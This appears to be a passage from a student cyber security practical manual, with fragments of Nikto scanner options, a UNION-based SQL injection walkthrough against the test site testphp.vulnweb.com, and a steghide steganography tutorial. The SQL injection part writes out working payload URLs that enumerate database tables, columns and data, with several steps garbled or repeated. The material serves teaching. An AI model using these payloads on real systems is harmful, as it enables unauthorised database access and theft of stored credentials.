Will list all plugins that Nikto can run against targets and then will exit without performing a scan.
These can be tuned for a session using the -Plugins option.
Plugin name
Save request/response of findings to this directory. Files are plain text and will contain the raw
request/response as well as JSON strings for each. Use a "." to auto-generate a directory name for each
target. These saved items can be replayed by using the included replay.pl script, which can route items
through a proxy.
Fig: Request/Response Output Stored in Text File
-Pause
-evasion
Specify the LibWhisker encoding/evasion technique to use (see the LibWhisker docs for detailed
information on these). Note that these are not likely to actually bypass a modern IDS system, but
may be useful for other purposes. Use the reference number to specify the type, multiple may be
used:
5 - Fake parameter
-timeout
The ability of the attacker to execute code (SQL statements) through vulnerable input
parameters empowers him to directly interact with the back end SQL server, thereby
leveraging almost a complete compromise of system in most cases.
The website is
http://testphp.vulnweb.com/listproducts.php?cat=1
Notice that the URL has the structure that you now know well. If used properly, a google dork
could have led us to this site as well. Now we will replace the 1 with an asterisk “‘”.
Computer Engineering Cyber Security (2150002)
It is vulnerable to SQL injection attack Now we need to find the number of columns.
Computer Engineering Cyber Security (2150002)
So if there was an error on 12th columns. This means there were 11 columns total. So to find
the vulnerable column, we have to execute.
http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,7,8,9,10,
11
This does not return any error. As I said before, adding a minus sign (-) after = and before 1
will help.
http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,7,8,9,10,
11
http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,7,8,9,10,
11 (no minus sign that is).
Comparing the picture with and without the error, we can easily say that the unexpected
element in the malfunctioned page is the number 11. We can conclude that 11th column is
the vulnerable one. These kinds of deductions make hacking very interesting and remind you
it's more about logic and creativity than it's about learning up useless code. Now we are
finally where we left out before we changed our stream. We need to find the sql version. It
can sometimes be very tricky. But let’s hope it’s not in this case
Now get the code that told you about the vulnerable column and replace the vulnerable
column (i.e. 11) with @@version. The url will look like this.
http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,7,8,9,10,
11
The server is using Sql version 5.1.69, most probably MySQL (pretty common). Also we
know the OS is Ubuntu.
(i.e. testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,7,8,9,10,11),
we will replace the vulnerable column with table_name and add prefix
+from+information_schema.tables. The final url will be,
As you can see, the name of the table is character_sets. However, this is just one table. We
can replace the table_name with group_concat(table_name) to get all tables
http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,7,8,9,10,
group_concat(table_name)+from+information_schema.tables
Obtaining columns
It is similar to obtaining tables, other than the fact that we will use
informaiton_schema.columns instead of informaiton_schema.tables, and get multiple
columns instead of just one using the same group concat. We will also have to specify which
table to use in hex. We will use the table events.
http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,7,8,9,10,group_
concat(column_name)+from+information_schema.columns+where+table_name=0x4556454e
5453
We will follow the same pattern as we did so far. We had replaced the vulnerable column
(i.e. with table_name first, and then column_name. Now we will replace it with the column
we want to obtain data from. Lets assume we want the data from the first column in the
above picture, ie. event_catalog. We will put the fol. URL-
http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,7,8,9,10,
EVENT_CATALOG+from+information_schema.EVENTS
The page didn't display properly, this means that the our query was fine. The lack of any data
is due to the fact that the table was actually empty. We have to work with some other table
now,we'll have to look at some other table now, and then look at what columns does the table
have. So, I looked at the first table in the list, CHARACTER_SETS and the first column
CHARACTER_SET_NAME. Now finally we have the final code as-
http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+1,2,3,4,5,6,7,8,9,10,
group_concat(CHARACTER_SET_NAME)+from+information_schema.CHARAC
TER_SETS
So finally now you have data from CHARACTER_SET_NAME column from
CHARACTER_SETS table. In a similar manner you can go through other tables and
columns. It will be definitely more interesting to look through a table whose name sounds
like 'USERS' and the columns have name 'USERNAME' and 'PASSWORD'. I would show
you how to organize results in a slightly better way and display multiple columns at once.
This query will return you the data from 4 columns, separated by a colon (:) whose hex code
is0x3a.http://testphp.vulnweb.com/listproducts.php?
cat=1+union+select+1,2,3,4,5,6,7,8,9,10,group_concat(CHARACTER_SET_NAME,0x3a,D
EFAULT_COLLATE_NAME,0x3a,DESCRIPTION,0x3a,MAXLEN)
+from+information_schea. CHARACTER_SETS
CONCLUSION:
SQL injection attacks are a growing criminal threat to your web applications, especially
those that access sensitive data. Where are the best places to invest your resources? Some
techniques, such as secure coding, are wise practices that benefit your application in related
ways, such as improved performance and readability. Other defenses require much greater
investment in deployment and support and should be used only on the most important or
sensitive applications. With that in mind, here are the two most important things you can do
to protect your applications from SQL injection attacks:
1. It's long been argued that fixing bugs during development is far more effective than
fixing them in later phases, and the same holds true here. Spend time educating your
developers on basic security practices. The time you spend up-front will be far less
than you would spend cleaning up the mess if the vulnerabilities make their way into
production.
2. The single most useful SQL injection defense is to use prepared statements anywhere
you're passing input from the user to the database. It's also a good idea to pass user
input through regular expressions, throwing out potentially dangerous input before
sending it to any backend resource such as a database, command line, or web service.
PRACTICAL 10
INTRODUCTION OF STEGANOGRAPHY:
Some implementations of steganography that lack a shared secret are forms of security through
obscurity, whereas key-dependent steganographic schemes adhere to Kerckhoffs's principle. The
advantage of steganography over cryptography alone is that the intended secret message does not
attract attention to itself as an object of scrutiny. Plainly visible encrypted messages no matter
how unbreakable arouse interest, and may in themselves be incriminating in countries where
encryption is illegal. Thus, whereas cryptography is the practice of protecting the contents of a
message alone, steganography is concerned with concealing the fact that a secret message is
being sent, as well as concealing the contents of the message. Steganography includes the
concealment of information within computer files. In digital steganography, electronic
communications may include steganographic coding inside of a transport layer, such as a
document file, image file, program or protocol.
Media files are ideal for steganographic transmission because of their large size. For example, a
sender might start with an innocuous image file and adjust the color of every 100th pixel to
correspond to a letter in the alphabet, a change so subtle that someone not specifically looking
for it is unlikely to notice it.
Introduction steghide tool:
Steghide is a Steganography utility written in C++ for Linux and Windows, released under the
GNU/GPL license. It lets users exploit Windows Bitmap and JPEG images and Windows Wave
and Sun/NeXT AU audio files as cover files; any kind of file may instead be used as the payload.
Data in the payload may be encrypted and compressed In addition to the data proper it is also
possible to include in the stego file the payload file name and a checksum to verify the integrity of
extracted data. The cryptography algorithm used per default is Rijndael with 128-bit keys (which
constitutes the Advanced Encryption Standard, or AES) in cipher block chaining mode. It is in any case
possible to select any algorithm among 18 possibilities, each of which may operate in various modes.
Steghide features
Command line syntax for Steghide is quite simple; the base structure is the following:
Possible commands are embed, extract, info, encinfo, version, license, help.
We mentioned encinfo above and the last three should be pretty obvious; we explain
the others, which constitute the heart of Steghide, below.
Embed
The embed command is used to insert a payload inside a cover file. In addition to
cryptography and the checksum we mentioned, you can also protect your data with
apassphrase that will be requested on extraction. In this phase you can also choose the
level of compression to use for the payload, among the nine provided by the Zlib
library, as well as the cryptographic algorithm and mode of operation. It is not
mandatory to include the payload file name, nor the checksum; it may be useful not
to, when the usable space in the cover file is an issue.
Info
The last fundamental command is info. With it it becomes possible to gather information on
any file among the supported types, like for example to find out about capacity: it can thus be
useful before an embed, to verify that the chosen cover file may adequately contain the payload
to be hidden. The info command may optionally return information on the hidden contents if it is
provided the passphrase used during an embed. The next example should make this more easily
understandable
In cmd write syntax cd path of the image file and Press ENTER.
Write “steghide” and press ENTER, all the commands will appear.
To embed a file use syntax “steghide embed -cf image file –ef text file”
Press ENTER
ENTER PASS PHRASE will appear, enter any password
RE-ENTER PASSPHRASE will appear, enter password again
Then press ENTER
Embedding “txtfile” in “image file”…done will be the message appear after successful
embedding.
This is the text file selected.
In cmd type the syntax “steghide extract –sf image file”, This will extract the deleted text file
embedded in image file. Pressing ENTER will display message: enter passphrase. After
entering password, On successful extraction “wrote extracted data to text file” will be
displayed.
CONCLUSION:
Steganography can be useful in many ways for sharing and hiding personal information.
Among these utilities, someone who would like to use steganography on multiple platforms
would choose OutGuess. For someone who doesn't like console-based tools, Steghide plus
SteGUI is the best choice.
STRENGTH OF TOOL:
compression of embedded data
encryption of embedded data
embedding of a checksum to verify the integrity of the extraced data
support for JPEG, BMP, WAV and AU files